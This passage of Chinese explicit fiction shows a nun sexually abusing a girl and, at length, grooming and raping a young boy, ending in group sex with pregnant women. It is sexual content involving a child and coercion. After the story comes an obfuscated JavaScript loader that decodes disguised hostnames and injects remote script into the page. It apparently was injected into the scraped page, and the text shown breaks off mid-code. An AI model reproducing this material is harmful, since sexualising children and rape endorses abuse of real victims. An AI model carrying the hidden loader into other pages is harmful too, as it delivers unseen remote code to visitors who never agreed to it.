──即使身體從來沒有被打開過,也本能感覺到危機與抗拒。
──那種又粗又臭的東西,怎麼可能放得進來……
「好痛……!朵琳修女……好痛啊!」
潤滑充足但過於緊致的蜜穴逐漸給巨大的桃紅色龜頭撐開,莉莎叫聲迅速拉高,朵琳卻連一句安慰的話都不說了。她以優於對方的力氣掐住莉莎纖細的腰,讓那對試圖掙脫、卻左搖右晃得分外誘人的屁股自投羅網。肉棒最前端已經卡進蜜穴裡,腥臭的龜頭正頂著莉莎可愛又頑強的處女膜。莉莎越是搖動她的屁股,穴口的肉棒就吃得越深,一吋一吋地往內推進,最後滋地一聲──
「好痛啊啊啊……!」
──開苞。
處女膜被肉棒扯開的瞬間,莉莎的疼痛來到了最高點。實際上這陣痛楚還不如她兩年前跌破膝蓋那麼痛,不過因為她的小蜜穴在這之前都處於密封狀態,陰道首次被撐開的不安及恐懼佔據了腦袋,才讓伴隨處女喪失而至的輕微撕裂感放大好幾倍。
「噫噫……!」
滋啾!滋嚕嚕!
肉棒逐漸深入穴裡,現在才停止晃動屁股已於事無補。感覺到憑空放大的劇痛正在銳減的莉莎倒吸一口氣,渾身顫抖,儘管被侵入的部位都浸泡在前所未有的灼燙感中,那股熱度卻又不像燒沸的水那般無法忍受。她之所以能夠在極短時間內由反抗轉為妥協,還有一個原因,那就是朵琳的愛撫。
「啊……!嗚……!嗚嗯……!」
朵琳一語不發,保持冷酷的支配者氛圍,摸向莉莎私處的雙手卻十分溫柔。她輕盈地觸摸莉莎的陰蒂,這顆粉紅色小肉球表面泛出淫水的光澤,在同樣濕滑的指腹蹭弄下不停傳出爽快的信號。愛撫動作與態度之間的反差加深了朵琳帶給莉莎的感覺,這股稍嫌黏膩的情感和陰蒂快感水乳交融,成了莉莎有生以來首次抵達的高潮。莉莎高潮的同時,滋滋收縮的蜜肉也被朵琳的粗屌緩緩幹進最深處。
「哈呼……!哈啊……!啊……!啊……!」
啪滋!啪滋!
痛悅曲線在陰蒂高潮後產生黃金交叉,充沛愛液滋潤了被粗壯肉棒強硬撐開的肉穴。當朵琳邊撫摸邊操起莉莎的小穴,不再只是一味地帶來疼痛,還有好幾種不同的感覺同步發酵。有遲來地意識到正在做愛的羞恥感。有跟朵琳合而為一的優越感。有小穴被撐開搗弄的脹熱感。諸如此類分開來看微不足道、合為一體則十分強烈的感覺正在不斷地高漲,使陰蒂與陰道接收到的刺激跟著膨脹了。雖說痛楚重新放大,然而凌駕其上的快感卻變得更為巨大,大到莉莎都不知道該怎麼辦,只好順從被朵琳抽插的節奏羞喊出聲。
「嗯嗚……!呼……!呼呵……!」
啪滋!啪!啪!啪滋!
莉莎的屁股給一雙白皙大腿撞得啪啪響,垂盪於黑暗中的巨乳啪答啪答地前後甩晃。教堂內的時間彷彿整個凝結了,唯有交合的兩人在熱汗與體香中不停地朝向高潮奔馳。初次性體驗的莉莎在肉棒抽插中又一次洩了,身體──特別是整個下半身都在發熱,意識也變得有點輕飄飄。極度貼合的刺激不單是讓莉莎舒服得猛喘息,連朵琳也被這緊到不行、高潮時又特別會吸的蜜穴榨得欲仙欲死。急速攀升的快感即將衝破極限之時,朵琳用力拉開告解室上側的半扇門,隨後將香汗淋漓的身體貼到莉莎熱呼呼的背上,以野狗交配般的姿勢壓緊莉莎直奔終點。
「哼嗚……!哼呼……!啊……啊啊……!」
啪滋、咕滋、咕噗噗──噗咻!
在莉莎樸素到有點難聽、卻格外觸動肉棒的淫叫聲中,渾身熱起來的朵琳酥麻顫抖著射精了。她維持這姿勢直到精液全數注入強烈收縮的陰道,很快又在滋滋啜吸著肉棒的蜜穴裡勃起。當精液混入淫水中流出體外,莉莎才從比往常更濕潤些的小穴遲鈍地反應過來。但是她什麼都做不了,既無法反抗,也不想掙脫。她的身體已經開始適應朵琳那根形狀粗暴的肉棒,腦袋也忍不住貪求更多肉棒帶來的快樂。莉莎就這麼趴在告解室裡,翹起沾滿汗水的屁股,讓朵琳一次又一次地侵犯滴著精水的緊致嫩苞。
沒有其他人上門。
沒有誰來譴責這種行為。
這天,無論朵琳抱緊莉莎幹了多少遍,就是沒有人來制止她。
幾天後,莉莎的雙親與村長都沒有出現,唯一登門的莉莎反而打扮得更漂亮了。
──做出這種事卻被默許的我,仍然屬於有罪之身嗎?
──那麼,我的罪就是……
多雨季節的時期,轟鳴豪雨一連便下好幾天,彷彿要將連綿山谷所隱藏的秘密沖刷乾淨。但是,只要逆著湍急山溪而上、抓緊打滿一百個結的繩索向前進,就能來到強風狂雨也吹不倒的地方。
這個地方是無敵的。
大雷雨再怎麼可怕,頂多是從灰壓壓的雲層降下來。
可是女神大人竟然是生活在雲端之上!是全世界住得最高的啊!
因為有女神大人的庇護,修女姊姊所在的教堂是無敵的──這名男孩也才會在危險的大雨天不畏艱辛來到小教堂。
「修女姊姊!我來啦!」
「安……你又做這麼危險的事情了。過來,擦擦身體吧。」
「嗯!」
有個中性小名、外貌十分秀氣的男孩安德爾用力點了點頭,隨即噠噠噠地跑向溫柔笑著的朵琳。這孩子已經不是初犯,因此朵琳在寢室內多準備一條大毛巾,隨時可以應付濕答答地闖進教堂內的小鬼頭。
安滿心期待地跟著朵琳進入充滿花香味的房間,短短幾步路,他的兩顆眼珠子就像被黏住似地緊盯前方的黑色大屁股,一秒也移不開。若是晴天時來訪,可能會碰上屁股比朵琳要大一號的帕索夫人。不過對於安來說,朵琳的翹臀大得剛剛好,比起高不可攀的夫人還更吸引他。
無論晴天、陰天還是雨天,朵琳的身體總是充滿附近摘來的野花香。安不太喜歡看顧母親交代他早晚巡一遍的小花圃,他的鼻子也嗅不出來不同的花香差在哪,可是朵琳身上的味道是特別的,那是「修女姊姊的香味」。即使這股香味多半來自另一位姊姊摘送的花,那也無所謂。
迴避晴朗的日子,就不會碰上大屁股夫人。
躲開陰鬱的日子,就不會撞見送花的姊姊。
只有大雨滂沱的日子,修女姊姊是專屬於他一個人的。
「來,這是小安的毛巾,看看這邊縫上的名字──」
這裡是無敵的小教堂。
「不行,都濕透了呢。不快點把衣服脫下來會著涼哦。」
有著無敵的修女姊姊。
「轉過來,對,正面也擦一擦……哎呀……小安的小雞雞,好像特別濕呢。」
所以安也是無敵的。
「毛巾擦不乾淨,怎麼辦才好呢?吶,小安,你說說看,該怎麼做才能把你的小雞雞清乾淨呢?」
「啊……呃……」
只有在無敵狀態下才敢說出口的話語,正在安的喉嚨蘊釀、加熱,然後一口氣──又帶點畏懼地說出:
「我要修女姊姊!呃……要修女姊姊……那個……」
「那個──?」
「把、把小雞雞……就是……放……放進……」
「放進──?」
「修女姊姊的……嘴巴裡……」
「像這樣──?嘶嚕嚕!嘶噗!嘶噗!噗啾嚕嚕!」
突如其來的快感瞬間從被朵琳含吸的包莖小肉棒席捲全身,遍體酥麻的安仰起脖子、閉緊雙眼,在急速升溫的愉悅中輕喊:
「啊嗚……!修、修女姊姊……!小雞雞好舒服……!好舒服哦……!」
純潔無瑕的小肉棒在朵琳口中給舌頭逗得彈呀晃的,一會兒便招架不住,急欲將登門以來不斷累積的懵懂情慾釋放出來。換做前幾次,還能如安所願在他最喜歡的修女姊姊嘴裡舒服地高潮。可是從上次開始,朵琳就不再一口氣吹給小肉棒射精,而是把這個敏感又可愛的小傢伙推向即將發射的狀態,再鬆開牽出柔軟銀絲的雙唇、延續小小胸膛中的不穩定慾火。
「修女姊姊……?」
雙頰漾出兩片紅暈的安語帶懇求地呼喚著,濕淋淋的包莖小肉棒很有精神地彈呀彈,卻無法如願回到濕暖柔軟的嘴巴裡。
朵琳站起身來,在緊張又期待的安面前緩緩脫去修道服。安的雙眼不由自主地盯著朵琳美麗的臉龐,漸漸滑落至豐滿挺翹的巨乳,然後順著柔和的曲線往下降、往下降……映入男孩眼簾的是一根粗暴異常、腥臭無比的爆筋肉棒。
「修女姊姊的小雞雞……!」
乒!乒!
眼見這個可愛又可口的男孩子瞪大眼睛盯過來,朵琳的肉棒情不自禁地使勁顫挺,展現出最為狂野的一面。此刻的安還不明白朵琳的用意,純粹以為朵琳是想讓他看看小雞雞,眼神絲毫沒有懼色。
「啊……好、好臭哦……修女姊姊。」
當朵琳把這根形狀粗暴得像是異形、半開包皮口積了層濃厚包皮垢的陽具推向安面前,安臉上的紅暈被這陣臭味薰得更濃更大片,忍不住稍微避開這惡臭的玩意。
「小安,你知道姊姊的雞雞為什麼這麼臭嗎?」
「不知道……」
「因為呢,姊姊每次都有好好地把小安的小雞雞吃乾淨,所以髒東西都跑到姊姊的雞雞上了哦!」
「咦……?那、那是我害的……?」
朵琳向前一步,彎身抱緊小鹿亂撞的安。粗大熱燙的濃臭肉棒擠壓著乾淨無毛的包莖小肉棒,朵琳在安看不見的地方揚起長長的嘴角。
「小安願意幫姊姊清理臭雞雞嗎?」
「呃嗯……願……願意!」
被埋進香甜乳溝中的安腦袋幾乎無法思考,雖然一度因為「臭雞雞」三個字遲疑,警戒心很快又被擁抱的喜悅沖散成朵琳說什麼都全盤接受。
「可是,小安是男孩子啊。男孩子不可以吃別人的雞雞呢。女神大人會生氣哦。」
「那該怎麼辦……」
由於大腦處於無條件服從狀態,會對無法使其完成任務的挫折產生焦慮也是理所當然的。這時候,朵琳溫柔的嗓音宛若救命繩般垂下。
「那麼,只要小安變成女孩子就好啦!」
「咦?變成……女孩子?」
「嗯!」
不管是為了修女姊姊,還是為了讓修女姊姊再次含住自己的小雞雞──滿臉通紅的安大力地點了點頭,隨後便換上朵琳為他準備的衣裳。
繡有純白花朵的淺綠色荷葉邊短袖上衣。
樸素可愛的米黃色短裙。
頭巾──不,不要頭巾,改接觸腰長直髮,接好髮後再來編個小馬尾。
「修女姊姊的頭髮……呵嗚。」
「要小心,別壓壞哦。姊姊留了很久呢。」
「是的……!」
其實那是某戶窮人家女兒捐獻的秀髮,朵琳無聊時就拿出來編接,正好適合安這個年紀的孩子。只不過上頭的香味與身體相似,就被安擅自誤認為是朵琳留長剪掉的頭髮了。
接起可愛的馬尾長髮、換上女裝的安化身為清純漂亮的小村姑,在朵琳面前張開雙臂、開心地轉圈圈。那副天真無邪無意間產生的魅力完全挑起了朵琳的慾火。她彎身抱住活像個小女孩的安,右手像蛇一般滑進短裙底下,握住了那根本已疲軟、當她觸及後馬上又挺起來的小雞雞。
「這樣小安就變成女孩子了,跟姊姊一樣有著雞雞的女孩子呢。」
「嗯!我跟姊姊一樣……哈嗚!」
咕啾、咕啾。
「不行哦,女孩子要更柔軟一點。小安要用『人家』才行。來,重新說一遍。」
「是的……人……人家……嗚嗯!」
滋啾、滋嚕。
「人家……跟姊姊一樣……嗚!」
啾滋、啾。
「是有小雞雞……!有小雞雞的女孩子……!哈啊啊……!」
滋啾、滋啾、滋嚕嚕──噗咕!
輕盈套弄的小肉棒即將噴發之際,朵琳及時停下動作、以大姆指按住濕潤柔滑的包皮口,只聞大量前列腺液在尿道口擠壓出「噗咕」聲,不見一滴精液射出。射精快感即將展開卻被強行踩煞車的安露出帶有苦悶感的恍惚表情,水汪汪的大眼睛既期待又不解地望向朵琳,努力散發出熱度的小肉棒滋滋抖動著。
「修女姊姊……壞心眼……」
安的撒嬌聲直接刺激到朵琳的肉棒,這根抵住安的巨大肉棒已經硬得受不了,如今更是熾熱難耐。朵琳最後一次強忍呼之欲出的慾望,頂著一張和被她調戲的男孩子同樣紅潤的臉蛋,對紅通通的小耳朵送出蛇的呼喚:
「姊姊還想對小安更壞一點哦!」
「更……更壞……?」
握緊於掌心的小肉棒顫得非常厲害。
「就用姊姊的雞雞來把小安變成真正的女孩子吧!」
「真正的……女孩子……」
整個身體隨之顫抖。
「不過,在那之前──」
朵琳話說到一半就牽著安的小手來到床邊,溫柔地抱著他上了床。心跳加速的安剛躺好在軟綿綿的枕頭上,朵琳已轉過身來趴到他身上,腥味四溢的濃臭巨屌緩緩下降。
「修女姊姊……啊嗚!」
朵琳重新含住激烈抖動的小肉棒,安連反抗的餘地都沒有,便在一片自胯下綻開的酥麻漣漪中輕啟雙唇、給眼前的垢臭肉棒頂住小嘴。
未曾有過口交經驗的安什麼都不會,但是他的小腦袋瓜還記得被修女姊姊吸舔小肉棒時的快樂。然而就算是依樣畫葫蘆,由於雙方肉棒尺寸實在差太多,安連把這顆臭龜頭含進嘴裡都辦不到,遑論做出記憶裡的動作了。
即便如此,安仍然努力取悅他的修女姊姊。現在他的小肉棒就在又濕又暖的嘴巴裡,只要自己多努力一點、讓修女姊姊也感覺舒服,小雞雞就可以被修女姊姊吃掉了──懷著這股幹勁的安,就此舔起這顆滿是包皮垢的髒臭龜頭。
朵琳倒也不是真的想讓一竅不通的安像莉莎那般舔得一乾二淨,純粹是過個形式、滿足前戲條件罷了。之所以趴在安的身上、低頭含住這根活蹦亂動的小肉棒,也是單純給予動力,讓安能夠鼓起勇氣來取悅她。這種目的不在於過程、而是象徵意義的互動,不完美地落幕本身就是一種完美。朵琳壓根不在意安的技巧優劣,或是能讓她有多爽,滿足了就直接進行下一步。
「修女姊姊……人家幫妳舔臭雞雞了,妳也舔人家的小雞雞好不好……」
「嗯,姊姊會幫可愛的小安舔哦,會幫你舔得很舒服、很舒服哦。」
「那趕快嘛……!」
粗壯肉棒的半裸龜頭只有馬眼附近被小小的舌頭努力舔舐過,這已經是安的極限了,可是他的努力並未促使朵琳嘴巴往內收縮。朵琳維持趴在安身上的姿勢,用她那對在安眼中十分巨大的蜜臀緊──緊地壓向安的臉頰,左右蹭晃起滿心期待的小臉蛋。
「在那之前──」
被神聖大屁屁蹭到興奮喘息、小肉棒挺了又挺的安,稍後就乖乖按照朵琳的指示脫掉衣服、趴在床上,翹高透出光澤的小屁股蛋。朵琳朝安挺直的小肉棒輕吹口氣。
「嘶嗚……!」
緊致無瑕的小屁眼伴隨輕鳴一張一縮,馬上就引來色澤白皙卻狂暴無比的垢臭巨屌。淋上大量潤滑油的熱燙龜頭叩關的這一瞬間,朵琳興奮到了極點。
「修、修女姊姊……?」
這小鬼選在雷雨天上門,就是想要獨處啊。
「那個……為什麼要頂那邊……?」
沒有人會來打擾,是小鬼自己的選擇啊。
「嗚……!」
而且還用這麼誘人的小屁股誘惑聖職者──不好好處罰可不行啊!
「啊嗚……!好痛……!修女姊姊……!屁屁好痛啊……!」
咕滋、啾滋、啾噗滋!
淋滿潤滑油而閃閃發亮的爆筋肉棒兇猛地撞開安的小屁眼,即使滿臉漲紅的安抱緊枕頭頻頻哀叫、屁股都往前縮了,朵琳卻還是挺起粗屌追擊上去,整個身體從後頭壓上安。就在兩團讓安稍微恍神的香甜巨乳夾擊中,他的肛門首次被由外而內打開來,甫一開肛即被熱騰騰的龜頭來回磨擦、給予超乎預料的刺激。
「嘶嗚……!不、不要了……!修女姊姊我不要了啦……!」
以往總會在被吹到射精後脫口而出的這番話,今天不只是延後許多,還是在肛門即將被打通的時刻說出來,聽得朵琳內心格外地癢。她壓抑住想一口氣幹翻這個小屁眼的衝動,以發汗乳肉將慌張到快哭出來的安收進乳溝內,在兩副身體緊緊貼合下溫柔地訓起話:
「小安是女孩子吧?姊姊不是跟你說過,女孩子要柔軟一點?」
情急之中腦袋轉得快的安意識過來,急忙改口道:
「人家不要了……!真的不要了啊……!修女姊姊……啊、啊啊啊!」
噗滋!噗啾!咕啾啾──
反覆磨擦的屁眼灼熱而油滑,混雜著濃厚包皮垢的潤滑油往肛門口抹開後,又隨著龜頭運動逐漸深入肛道。當整顆龜頭幾乎埋進小屁眼時,安的肛門括約肌也逐漸被桃紅色龜頭撞得越來越開。
「好痛……好燙啊!屁屁好燙啊……!修女姊姊……!修女姊姊……!」
滋啾!滋嚕!滋啾!咕啾!
以往只有如廁時會稍微張開的肛門括約肌,在朵琳的龜頭衝撞下已擴大到前所未有的程度。哪怕這尺寸還不夠整根肉棒通過,已經能帶給安「屁屁被修女姊姊打開了」的極度羞恥感。他的小腦袋瓜還無法消化這股灼燙的感覺,連性交意識都未發生,純粹是懼於擴張之痛、羞於被心儀的大姊姊打開屁屁。但是朵琳感覺得到,這種單純的情緒就要開花結果了,她那幹勁滿滿的粗壯肉棒就是蛻變的鑰匙。
「呼咕……!呼……!咕嗚欸欸……!」
咕滋、啾滋、啾噗嚕嚕──!
當安連求饒的力氣都完全耗盡、只剩下呻吟的力氣時,不斷被碩大的龜頭擦弄、頂撞的肛門括約肌也擴張到了極限。蓄勢待發的爆筋肉棒猶如巨蟒入洞般插進屁眼全開的小屁股,穿越熱燙痠麻的肛門括約肌、一次把安的直腸灌個飽滿。
「嗚……啊……!」
乒!乒!噗咻──!
感受著巨大肉棒在屁眼深處的脈動、模糊地產生某種奇特預感的安,就在包莖小肉棒奮力勃起後直接射精了。奇妙的是,這次他沒有在射精後迅速冷卻並對朵琳心生抗拒,反而還保留射精前的興奮之情──儘管這股情緒給侵入後庭的巨屌所攪混,安依舊渴望著再被他的修女姊姊弄到射精。
熱汗交融的身體緩緩分開,涼意剛吹上纖瘦的裸背,從汗乳上吸取汗水而變得沉重的小馬尾開始隨著斷斷續續的悲鳴聲搖晃。
「嗚咕……!啊……!嗚……!啊啊……!」
啪滋!啪滋!
被充滿成熟魅力的修女姊姊以超粗、超大的臭雞雞插入屁眼,不停抽插出滿腔灼熱的安,別說是形容此刻的心情了,腦袋瓜根本就連思考都辦不到。他很直覺地以為自己只剩下一個屁股,這個被修女姊姊用臭雞雞反覆磨擦的屁股就是一切,現在的安單純是臭雞雞專用的「東西」──用朵琳的說法那叫做「自慰套」。
「小安的屁眼真的非常緊呢!啾咕──地吸著姊姊的雞雞哦!」
「哈嗚……!」
咕滋!啾滋!啾嚕!
粗壯肉棒僅僅是稍微挪動一、兩公分,都讓後庭完美貼合莖身的安感到脹熱又酥麻。若是連貫動作,小屁眼還會反射性提緊、纏住這根尺寸大得過分的老二。當然,安的肛門再怎麼緊繃,都無法制止朵琳的肉棒。假裝被小屁眼絞緊而輕喊出聲的朵琳,品嚐過這番滋味後就自行掙脫若有似無的束縛,抓緊安的小屁股展開連串猛幹。
「哈呼……!哈啊……!小安的屁眼好緊、好熱!好舒服啊……!」
「噫噫噫……!好燙……好痛喔!修女姊姊……!啊……!啊啊……!」
啪滋!啪滋!啪滋!啪滋!
短暫恢復的語言能力持續不到三秒鐘,又被朵琳的粗屌幹回只喊得出美妙呻吟聲的人體樂器。安的腦袋再次墜入一片濃稠空白,比起因為重重阻礙難以思考,這回更接近於自行放棄思考的可能性。畢竟,光是處理後庭被粗大肉棒瘋狂抽插就已經到極限了。
「呼!呼哈!小安真是不乖呢!每次都用這麼棒的屁股誘惑姊姊……必須好好懲罰才行!」
「嗚嗚……!嗚咕……!啊……啊嗚嗚……!」
啪滋、啪、啪──滋啾!咕啾!咕啾啾!
一度軟掉的小肉棒在朵琳濕熱的掌心內迅速勃起,肛門裡的巨物亦不間斷地來回搗弄,讓思緒難以運轉的安都不曉得是雞雞好爽還是屁屁好痛。缺乏經驗的他沒辦法很好地把兩股截然不同的感覺融為一體,只能一下子為了熱燙發麻的小屁屁哀嚎、一下子因為雞雞太舒服酥麻呻吟。漸漸的,安的身體適應並揉合了交錯綻放的兩股感覺,使他在不知不覺中萌發痛悅合一的快感。
「小安!呼、呼呵!姊姊的雞雞舒不舒服?吶,姊姊的雞雞舒不舒服呀!」
啪滋!噗滋!啪!啪──啾咕!啾嚕!滋啾!滋嚕啾!
「嗚噫……!啊……!啊……!舒……舒服……嗚!修女姊姊……!人家雞雞好舒服啊……!」
感覺已經整個被提上來,這時就算雞同鴨講也無所謂了。朵琳用沾滿體液的掌心握緊發燙的包莖小肉棒,持續擺腰的同時,加速套弄那根明顯就要忍不住的小雞雞。
「修女姊姊……!修女姊姊……!啊嗚啊啊……!」
滋啾咕啾!滋嚕咕噗!咕滋滋──
或許是二度勃起後太快弄出來,包皮口一片紅潤的包莖小肉棒乘著上揚的呻吟抵達高潮,卻沒有射出半滴精液。不過這完全沒有關係──因為朵琳的肉棒已如願被緊致小屁眼深深地絞緊了!
「小安好棒……!小安好棒啊……!哈啊……!哈啊……!射、射了……哼嗚!」
啪滋!啪滋!滋咕噗──噗咻!噗咻!
「噫咕欸欸欸……!」
粗壯肉棒既享受全力絞緊的小屁眼,又無情地以高速抽插幹癱小屁眼裡的肛門括約肌,在這個拼命收縮仍閉不緊屁眼的男孩子體內射出了又多又濃的熱燙精液。
「小安,你最棒了哦……呼呵呵!」
「嗚欸……」
咕滋!啾滋!啾嚕嚕──乒!乒!
屁眼裡塞了根噴精巨屌、腦袋給香汗巨乳埋沒其中的安,接著又以側躺姿勢給朵琳手淫高潮了好幾遍。直到包莖小肉棒的活力被徹底榨乾,又輪到撐爆後庭的肥壯肉棒繼續幹翻他的小屁眼。
窗外風雨轉小時,一頭假髮凌亂披散的安宛如壞掉的玩偶般趴倒在床,翹著精液直流的小屁股,嘴裡不斷喃喃著「修女姊姊……」而他所呼喚的對象,已擦好身體、穿上修道服,虔誠地跪在女神像前禱告了。
──即使是沒有受到懲罰的我,仍然屬於有罪之身嗎?
──做出這種事卻被默許的我,仍然屬於有罪之身嗎?
──那麼,我的罪就是人們的業。
──禰有在聽嗎?有在看著嗎?
──日夜送上的告解,何時才能得到審判?
──抑或……
「我的罪──也是上天的安排嗎?」
暴雨不再的夜晚,朵琳的禱聲幽幽迴盪於重新點起燭光的告解室。告解室左側的陰影裡,挺著臨月孕肚、赤身裸體的唐娜夫人優雅步出。
「我的罪──也是上天的安排吧。」
這回換告解室右側的陰影蠢蠢欲動。同樣挺了顆接近產期的大肚子、仍看得出姣好身形的莉莎羞怯地走出。
全身上下只穿了件白色吊帶襪、懷裡抱著女神像的朵琳起身,唐娜和莉莎兩名孕婦旋即抱著肚皮上前,動作謹慎地在朵琳面前跪下。各自懷有不同情感的臉蛋在垢臭肉棒前化零為整,無論是人妻是少女,皆揚起擦了蜜的淫穢嘴角,以紅潤的臉蛋向氣味濃厚的熱燙龜頭獻上香甜唇印。
這兩人一手抱著自己的肚子、一手扶在朵琳大腿上,開始用唇舌清潔龜頭上的厚厚一層臭垢。兩人動作的同時,朵琳微啟的大腿之間浮現出另一隻垂著可愛小馬尾的嬌小身影。身影的主人並未如唐娜與莉莎那樣挺著大肚皮,不過這也是理所當然的事情。儘管那張上過妝的臉蛋怎麼看都像是女孩子,平坦的乳房與小巧可愛的肉棒又保有一絲陽剛味。
一人負責龜頭、一人負責莖身、一人負責睪丸。此起彼落的嘴唇親吻聲與舌頭滑動聲過後,朵琳的肉棒從上到下都被蓋滿金黃色的蜜糖唇印。最後三人輪流含住包皮垢清潔完畢的白皙巨屌,在朵琳低聲禱告時獻上啾噗啾噗的吸吮聲,直到唇肉淫蜜磨盡為止,都在比賽誰能吹得最好似的全力吮舔爆筋肉棒。
濃度不一的唇印一圈圈地套於肉棒前半部,年齡越長就吸得越深,吸舔時的表情也更加猙獰。即使閉起眼睛專心禱告,音調相異的吹奏聲仍在朵琳腦海編織出三張傾盡全力吸吮巨屌的變形臉蛋。
「齁噗!齁咕!嗯!嗯嚕!嘶嚕噗!齁、齁哦哦……!」
唐娜夫人懷孕後性慾漲得比誰都猛,連單純的口交都會吸成臉頰深凹、雙眼吊起的章魚嘴痴態。這種具有競爭意識的場合還會追加鼻水流淌而出、滿頭大汗到妝容花糊的模樣。
「嗯噗!啾噗!啾嚕!啾咕!嗯噗嗚……嘔、嘔嘔!」
莉莎這個性技方面沒什麼長進的少女,雖然很想贏過夫人在朵琳心中的地位,無奈只能靠著一股蠻勁去幹。她的口交臉和夫人相差無幾,但是眼睛翻得更白、幾乎是全白眼了。每次深含到作嘔時,白眼上的血絲就會隨之增加。
「嘶嚕!嘶噗!齁、齁嚕!齁嚕!齁嚕嚕嚕……!」
安這張白紙染上朵琳的色彩後,變得比年長的阿姨更加積極,技巧也勝過大他幾歲的姊姊。他的櫻桃小嘴比起含吸,更適合用靈活舔弄的舌頭一決勝負。那張被朵琳評為秀氣可愛的臉蛋,總在熱情舔舐中變成假髮濕亂、雙頰紅透的淫蕩表情。
「……呵嗯!」
──噗咻!
接力賽在三人唇上之蜜完全磨滅之際迎來終點,剛硬無比的粗壯肉棒快速加壓,隨後朝向染上朵琳乳房溫度的女神像大力噴發。
「呼……」
沾滿熱燙精液的女神像,今晚也帶著濃厚腥臭味鎮守著村裡的小教堂,為即將誕生的新生命給予祝福的烙印。
「晚禱結束。」
朵琳的肉棒在燭光下二度充血,瀰漫著精腥味的睪丸亦大力鼓脹,彷彿是以火鉗夾緊的熾熱烙鐵。
「那,我們開始吧?」
完
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 